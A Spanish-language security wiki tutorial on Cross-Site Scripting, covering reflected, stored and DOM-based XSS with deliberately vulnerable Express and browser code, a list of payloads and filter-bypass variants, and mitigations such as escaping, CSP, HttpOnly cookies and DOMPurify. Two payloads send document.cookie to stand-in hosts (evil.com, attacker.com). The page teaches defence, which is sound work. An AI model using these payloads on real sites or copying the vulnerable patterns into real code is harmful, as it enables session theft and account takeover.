Wiki/Vulnerabilidades/Cross-Site Scripting (XSS)
Principiante
CVSS 7.2 - Alto
22 min lectura

Cross-Site Scripting (XSS)

Inyección de scripts maliciosos en páginas web vistas por otros usuarios

¿Qué es XSS?

Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript malicioso en páginas web vistas por otros usuarios. Esto ocurre cuando la aplicación incluye datos no confiables en una página web sin validación o escape adecuados.

Impacto

  • • Robo de cookies y tokens de sesión
  • • Phishing mediante páginas falsas inyectadas
  • • Keylogging y captura de datos sensibles
  • • Redirección a sitios maliciosos
  • • Defacement (modificar apariencia del sitio)
  • • Distribución de malware

Tipos de XSS

1. Reflected XSS (No Persistente)

El script malicioso se refleja inmediatamente en la respuesta. El atacante debe engañar a la víctima para que haga clic en un enlace malicioso.

// URL maliciosa
https://vulnerable-site.com/search?q=<script>alert(document.cookie)</script>

// Código vulnerable (Express.js)
app.get('/search', (req, res) => {
  const query = req.query.q;
  // ❌ VULNERABLE: insertar directamente en HTML
  res.send(`
    <h1>Resultados para: ${query}</h1>
    <p>No se encontraron resultados</p>
  `);
});

// HTML generado (script se ejecuta)
<h1>Resultados para: <script>alert(document.cookie)</script></h1>

Vector de ataque: Enlaces en emails, mensajes, sitios comprometidos

2. Stored XSS (Persistente)

El script malicioso se almacena en el servidor (base de datos) y se ejecuta cada vez que se carga la página. Es el tipo más peligroso de XSS.

// Atacante envía comentario malicioso
POST /api/comments
{
  "text": "<script>fetch('https://evil.com?cookie='+document.cookie)</script>",
  "postId": 123
}

// Código vulnerable
app.post('/api/comments', async (req, res) => {
  const { text, postId } = req.body;
  // ❌ VULNERABLE: guardar sin sanitizar
  await db.comments.create({ text, postId });
  res.json({ success: true });
});

// Al cargar comentarios
app.get('/posts/:id', async (req, res) => {
  const comments = await db.comments.find({ postId: req.params.id });
  // ❌ VULNERABLE: renderizar sin escape
  res.send(`
    <div class="comments">
      ${comments.map(c => `<p>${c.text}</p>`).join('')}
    </div>
  `);
});

// Cada usuario que vea el post ejecutará el script

3. DOM-based XSS

La vulnerabilidad existe en el código JavaScript del cliente, no en el servidor.

// URL maliciosa
https://site.com/#<img src=x onerror=alert(document.cookie)>

// Código vulnerable (Frontend)
const hash = window.location.hash.substring(1);
// ❌ VULNERABLE: insertar directamente en DOM
document.getElementById('content').innerHTML = hash;

// Otros sinks peligrosos
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 100);
element.setAttribute('href', userInput); // puede ser javascript:
window.location = userInput;

Ejemplos de Payloads XSS

<!-- Básico -->
<script>alert('XSS')</script>

<!-- Robo de cookies -->
<script>
  fetch('https://attacker.com/steal?c=' + document.cookie);
</script>

<!-- IMG tag -->
<img src=x onerror="alert('XSS')">

<!-- SVG -->
<svg onload="alert('XSS')">

<!-- Iframe -->
<iframe src="javascript:alert('XSS')"></iframe>

<!-- Event handlers -->
<body onload="alert('XSS')">
<input onfocus="alert('XSS')" autofocus>
<marquee onstart="alert('XSS')">

<!-- Bypass filters -->
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<SCRIPT>alert('XSS')</SCRIPT>
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script> <!-- base64 -->

<!-- Mutation XSS -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- HTML entities bypass -->
&lt;script&gt;alert('XSS')&lt;/script&gt;

<!-- Unicode/hex bypass -->
<script>\u0061lert('XSS')</script>
<script>\x61lert('XSS')</script>

Prevención y Mitigación

1. Output Encoding / Escaping

Escapar caracteres especiales según el contexto.

// React (auto-escaping)
function Comment({ text }) {
  return <p>{text}</p>; // ✅ React escapa automáticamente
}

// NUNCA usar dangerouslySetInnerHTML sin sanitizar
// ❌ VULNERABLE
<div dangerouslySetInnerHTML={{__html: userInput}} />

// ✅ Sanitizar primero
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}} />

// Node.js / Express
const escapeHtml = (str) => {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
};

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>Resultados para: ${query}</h1>`);
});

2. Content Security Policy (CSP)

Header HTTP que restringe qué scripts pueden ejecutarse.

// Next.js - next.config.js
const securityHeaders = [
  {
    key: 'Content-Security-Policy',
    value: [
      "default-src 'self'",
      "script-src 'self' 'unsafe-inline' https://trusted-cdn.com",
      "style-src 'self' 'unsafe-inline'",
      "img-src 'self' data: https:",
      "font-src 'self'",
      "connect-src 'self' https://api.example.com",
      "frame-ancestors 'none'"
    ].join('; ')
  }
];

module.exports = {
  async headers() {
    return [{ source: '/:path*', headers: securityHeaders }];
  }
};

// Express.js
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' 'nonce-random123'"
  );
  next();
});

3. HttpOnly Cookies

Prevenir acceso a cookies vía JavaScript.

// Express.js
res.cookie('sessionId', token, {
  httpOnly: true,    // No accesible via JavaScript
  secure: true,      // Solo HTTPS
  sameSite: 'strict' // Protección CSRF
});

// Next.js API Route
export default function handler(req, res) {
  res.setHeader('Set-Cookie', [
    `token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/`
  ]);
}

4. Validación de Entrada

// Whitelist permitidos
const allowedTags = ['b', 'i', 'u', 'p', 'br'];

// Sanitización con DOMPurify
import DOMPurify from 'isomorphic-dompurify';

const cleanHtml = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: allowedTags,
  ALLOWED_ATTR: []
});

// Validación con Joi
const schema = Joi.object({
  comment: Joi.string()
    .max(500)
    .pattern(/^[a-zA-Z0-9\s.,!?-]+$/) // solo caracteres seguros
    .required()
});

Laboratorio Práctico

Practica identificando y explotando XSS en un entorno seguro:

Ir al Laboratorio XSS

Recursos Adicionales

Siguiente Paso

Aprende sobre otra vulnerabilidad crítica de inyección

Cross-Site Request Forgery (CSRF)